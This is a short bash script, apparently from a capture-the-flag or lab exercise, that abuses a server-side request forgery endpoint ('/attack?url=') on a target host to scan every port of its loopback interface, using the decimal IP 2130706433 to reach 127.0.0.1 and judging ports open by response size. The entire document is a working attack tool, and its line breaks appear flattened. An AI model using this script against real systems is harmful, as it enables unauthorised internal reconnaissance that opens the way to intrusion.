#!/usr/bin/env bash for x in {1..65535}; do cmd=$(curl -so /dev/null http://$TARGET_IP:$TARGET_PORT/attack?url=http://2130706433:${x} \ -w '%{size_download}'); if [ $cmd != 1045 ]; then echo "Open port: $x" fi done